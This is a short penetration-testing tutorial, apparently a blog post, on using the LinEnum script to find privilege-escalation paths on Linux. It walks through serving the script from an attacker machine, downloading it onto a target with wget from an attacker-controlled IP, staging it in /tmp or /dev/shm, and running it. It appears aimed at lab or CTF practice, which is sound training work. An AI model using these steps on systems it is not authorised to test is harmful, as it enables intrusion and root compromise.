The art of privilege escalation is a skill that any competent hacker should possess. It’s an entire field unto itself, and while it’s good to know how to perform the techniques involved manually, it’s often more efficient to have a script automate the process. LinEnum is one such script that can be incredibly useful for privilege escalation on Linux systems.

LinEnum is a simple bash script that performs common commands related to privilege escalation, saving time and allowing more effort to be put toward getting root.

https://null-byte.wonderhowto.com/how-to/use-linenum-identify-potential-privilege-escalation-vectors-0197225/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Exploitation

1. Download LinEnum into Kali/Parrot machine

2. Access the directory LinEnum and start a python http server

  • cd LinEnum
  • ls
  • python -m SimpleHTTPServer 9999

3. Download the file LinEnum.sh into the target machine

  • cd /tmp

Other good candidates are:

/tmp

/dev/shm

/var/lock

/run/lock

  • wget http://10.10.14.10:9999/LinEnum.sh
  • ls -l

4. set the script permissions to be executable

  • chmod a+x LinEnum.sh
  • ls -l

5. Execute the script.

  • bash LinEnum.sh

Information starts to get collected. Analyze the output and see what is interesting.